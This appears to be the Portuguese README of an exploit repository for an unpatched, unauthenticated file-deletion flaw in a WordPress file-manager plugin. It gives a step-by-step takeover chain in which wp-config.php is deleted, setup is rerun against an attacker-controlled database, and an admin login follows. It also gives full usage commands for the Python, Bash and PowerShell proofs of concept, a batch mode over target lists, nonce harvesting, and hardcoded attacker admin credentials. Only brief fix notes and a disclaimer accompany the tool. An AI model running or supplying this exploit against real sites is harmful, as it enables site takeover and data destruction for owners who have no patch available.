
Frontend File Manager Plugin (WordPress) <= 23.6 - Exclusão Arbitrária de Arquivos Não Autenticada para RCE
| Campo | Valor |
|---|
| CVE | CVE-2026-12277 |
| Plugin | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Afetado | <= 23.6 |
| Tipo | Exclusão Arbitrária de Arquivos Não Autenticada |
| CVSS | 8.7 (ALTA) |
| CWE | CWE-73 (Controle Externo de Nome ou Caminho de Arquivo) |
| Pré-requisito | Modo de upload de convidado ativado |
| Correção | Nenhum (a partir de julho de 2026) |
| Pesquisador | Chamseddine Bouzaiene |
O plugin armazena caminhos de arquivos enviados em metadados de post (wpfm_dir_path). O endpoint AJAX wpfm_file_meta_update:
files.php)nopriv (acessível sem autenticação)unset($_REQUEST['wpfm_dir_path']) pode ser contornada através de peculiaridades do request_order do PHP (enviando via string de consulta)Quando wpfm_delete_file é chamado, ele lê wpfm_dir_path do meta do post e chama unlink() sem qualquer validação de caminho.
| Ação AJAX | Nonce Necessário | Autenticação Necessária | nopriv |
|---|---|---|---|
wpfm_file_meta_update | NÃO (comentado) | Não | Sim (sempre) |
wpfm_delete_file | Sim | Não | Sim (sempre) |
wpfm_upload_file | Sim | Não | Sim (se upload de convidado ativado) |
1. Detectar plugin + upload de convidado ativado
2. Extrair automaticamente nonce AJAX da página frontend (campo de entrada oculto)
3. Enviar arquivo como convidado OU forçar ID de post existente
4. Sobrescrever wpfm_dir_path via bypass de string de consulta → apontar para wp-config.php
5. Acionar wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra em modo de configuração (setup-config.php)
7. Completar configuração com banco de dados controlado pelo atacante
8. Login como admin → assumir controle total
| Arquivo | Descrição |
|---|---|
exploit.py | Exploit completo em Python (detectar → explorar → assumir controle) |
poc_curl.sh | PoC em Bash/curl (Linux) |
poc_curl.ps1 | PoC em PowerShell/curl (Windows) |
lists.txt | URLs alvo (um por linha, para modo em lote) |
requirements.txt | Dependências Python |
# Instalar dependências
pip install -r requirements.txt
# Exploit automático completo (nonce detectado automaticamente)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Apenas detecção
python exploit.py -u http://target.com --detect-only
# Com nonce manual (se a detecção automática falhar)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# Com proxy Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Configuração personalizada do banco de dados do atacante
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
Após a exploração bem-sucedida, faça login no administrador do WordPress:
URL: http://target.com/wp-login.php
Usuário: shac1x
Senha: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| Argumento | Obrigatório | Descrição |
|---|---|---|
-u, --url | Sim | URL do WordPress alvo |
-p, --path | Não | Caminho absoluto para wp-config.php no servidor |
--nonce | Não | Nonce AJAX (pular extração automática) |
--dbname | Não | Nome do banco de dados do atacante (padrão: wp_pwned) |
--dbuser | Não | Usuário do banco de dados do atacante (padrão: root) |
--dbpass | Não | Senha do banco de dados do atacante |
--dbhost | Não | Host do banco de dados do atacante (padrão: localhost) |
--proxy | Não | Proxy HTTP (ex.: http://127.0.0.1:8080) |
--timeout | Não | Tempo limite de requisição em segundos (padrão: 15) |
--detect-only | Não | Apenas detectar vulnerabilidade, não explorar |
O exploit procura automaticamente por wpfm_ajax_nonce em:
/file-manager/, /upload/, /files/, /file-upload/, etc./file-manager.php/wp-json/)O nonce aparece como um campo de entrada oculto:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
Ou em JavaScript localizado:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
O código faz unset($_REQUEST['wpfm_dir_path']) para prevenir sobrescrita direta. O bypass:
Injeção na string de consulta: Enviar wpfm_dir_path via parâmetro de URL enquanto outros dados vão pelo corpo POST. O comportamento de mesclagem do $_REQUEST do PHP permite que o valor persista dependendo da configuração request_order.
Pré-definição durante o fluxo de upload: O meta wpfm_dir_path é definido durante os hooks iniciais de upload de arquivo. Se explorado nesse estágio, nenhum bypass é necessário.
| Componente | Versão |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Plugin | Frontend File Manager 23.6 |
| SO | Windows (XAMPP) / Linux |
| Resultado | Assunção total confirmada |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Quando upload de convidado ON → !$allow_guest = false → verificação inteira PULADA
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // do meta wpfm_dir_path - SEM VALIDAÇÃO
if (file_exists($file_path)) {
unlink($file_path); // EXCLUSÃO ARBITRÁRIA DE ARQUIVOS
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // SEM canonicalização, SEM verificação realpath
}
wpfm_file_meta_updatewpfm_dir_path em relação ao diretório de upload usando realpath() + verificação de prefixoEsta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha permissão por escrito antes de testar.